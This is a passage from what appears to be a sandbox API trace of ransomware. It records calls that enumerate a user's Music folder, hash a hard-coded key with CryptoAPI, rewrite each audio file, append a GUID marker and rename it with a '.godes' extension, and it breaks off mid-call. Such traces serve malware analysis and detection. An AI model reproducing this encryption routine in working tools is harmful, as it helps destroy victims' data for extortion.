SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.128] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.129] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.129] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.129] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.129] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x13bbd, lpOverlapped=0x0) returned 1 [0114.130] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.130] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.130] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.130] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.130] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.131] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.131] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.131] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.131] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.131] GetLastError () returned 0x0 [0114.131] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.131] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.131] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.131] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x13bc0) returned 0x3321120 [0114.132] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.132] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x13bb8, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x13bb8, lpOverlapped=0x0) returned 1 [0114.132] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.132] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13bbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.132] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.132] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.132] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.132] CloseHandle (hObject=0x624) returned 1 [0114.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\PO7Eqm6 3wk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\po7eqm6 3wk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\PO7Eqm6 3wk.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\po7eqm6 3wk.mp3.godes")) returned 1 [0114.134] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.134] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.135] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.135] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa51350, ftCreationTime.dwHighDateTime=0x1d4c95e, ftLastAccessTime.dwLowDateTime=0xdeebd7e0, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0xdeebd7e0, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x1b1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rrjW-8lVtAyz6CB c58F.m4a", cAlternateFileName="RRJW-8~1.M4A")) returned 1 [0114.135] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\rrjW-8lVtAyz6CB c58F.m4a") returned=".m4a" [0114.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\rrjW-8lVtAyz6CB c58F.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\rrjw-8lvtayz6cb c58f.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.136] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=6940) returned 1 [0114.136] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.137] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1af6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.137] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.139] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1b1c, lpOverlapped=0x0) returned 1 [0114.139] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.139] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.139] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.139] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.140] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.140] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.140] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.140] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.140] GetLastError () returned 0x0 [0114.140] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.140] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.140] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.140] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1b1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.141] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.141] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.141] CloseHandle (hObject=0x624) returned 1 [0114.141] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\rrjW-8lVtAyz6CB c58F.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\rrjw-8lvtayz6cb c58f.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\rrjW-8lVtAyz6CB c58F.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\rrjw-8lvtayz6cb c58f.m4a.godes")) returned 1 [0114.142] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.142] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.143] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f25b50, ftCreationTime.dwHighDateTime=0x1d4c9bb, ftLastAccessTime.dwLowDateTime=0xa1faf5c0, ftLastAccessTime.dwHighDateTime=0x1d4d547, ftLastWriteTime.dwLowDateTime=0xa1faf5c0, ftLastWriteTime.dwHighDateTime=0x1d4d547, nFileSizeHigh=0x0, nFileSizeLow=0x2d57, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TvM2NRbZu cHPtd OkbD.mp3", cAlternateFileName="TVM2NR~1.MP3")) returned 1 [0114.143] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvM2NRbZu cHPtd OkbD.mp3") returned=".mp3" [0114.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvM2NRbZu cHPtd OkbD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\tvm2nrbzu chptd okbd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.144] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=11607) returned 1 [0114.144] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.146] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.146] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.147] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.147] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x2d57, lpOverlapped=0x0) returned 1 [0114.148] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.148] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.148] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.148] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.149] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.149] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.149] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.149] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.149] GetLastError () returned 0x0 [0114.149] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.149] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.149] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2d57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.149] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.149] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.149] CloseHandle (hObject=0x624) returned 1 [0114.150] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvM2NRbZu cHPtd OkbD.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\tvm2nrbzu chptd okbd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvM2NRbZu cHPtd OkbD.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\tvm2nrbzu chptd okbd.mp3.godes")) returned 1 [0114.151] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325941b0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0xef470f20, ftLastAccessTime.dwHighDateTime=0x1d4d282, ftLastWriteTime.dwLowDateTime=0xef470f20, ftLastWriteTime.dwHighDateTime=0x1d4d282, nFileSizeHigh=0x0, nFileSizeLow=0xa534, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TvY6pS.mp3", cAlternateFileName="")) returned 1 [0114.151] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvY6pS.mp3") returned=".mp3" [0114.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvY6pS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\tvy6ps.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.152] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=42292) returned 1 [0114.152] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.154] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa50e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.154] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.155] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.155] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xa534, lpOverlapped=0x0) returned 1 [0114.156] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.156] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.156] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.156] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.157] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.157] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.157] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.157] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.157] GetLastError () returned 0x0 [0114.157] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.157] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.157] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.157] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.158] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.158] CloseHandle (hObject=0x624) returned 1 [0114.159] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvY6pS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\tvy6ps.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\TvY6pS.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\tvy6ps.mp3.godes")) returned 1 [0114.160] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e531620, ftCreationTime.dwHighDateTime=0x1d4ca68, ftLastAccessTime.dwLowDateTime=0x6c186df0, ftLastAccessTime.dwHighDateTime=0x1d4cac7, ftLastWriteTime.dwLowDateTime=0x6c186df0, ftLastWriteTime.dwHighDateTime=0x1d4cac7, nFileSizeHigh=0x0, nFileSizeLow=0x182ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YkQ2Zd.wav", cAlternateFileName="")) returned 1 [0114.160] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\YkQ2Zd.wav") returned=".wav" [0114.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\YkQ2Zd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\ykq2zd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.161] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=99022) returned 1 [0114.161] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.162] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.162] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.164] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x182ce, lpOverlapped=0x0) returned 1 [0114.165] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.165] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.165] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.165] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.166] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.166] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.166] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.166] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.166] GetLastError () returned 0x0 [0114.166] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.166] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.167] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.167] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.167] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.167] CloseHandle (hObject=0x624) returned 1 [0114.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\YkQ2Zd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\ykq2zd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\YkQ2Zd.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\ykq2zd.wav.godes")) returned 1 [0114.169] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4863fd60, ftCreationTime.dwHighDateTime=0x1d4c5d7, ftLastAccessTime.dwLowDateTime=0xbc241d40, ftLastAccessTime.dwHighDateTime=0x1d4c625, ftLastWriteTime.dwLowDateTime=0xbc241d40, ftLastWriteTime.dwHighDateTime=0x1d4c625, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZN52hee3SS1DkjLr.wav", cAlternateFileName="ZN52HE~1.WAV")) returned 1 [0114.169] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\ZN52hee3SS1DkjLr.wav") returned=".wav" [0114.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\ZN52hee3SS1DkjLr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\zn52hee3ss1dkjlr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.170] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=2418) returned 1 [0114.170] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.172] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x94c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.172] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.173] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x972, lpOverlapped=0x0) returned 1 [0114.173] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.173] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.173] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.173] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.174] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.174] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.174] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.174] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, 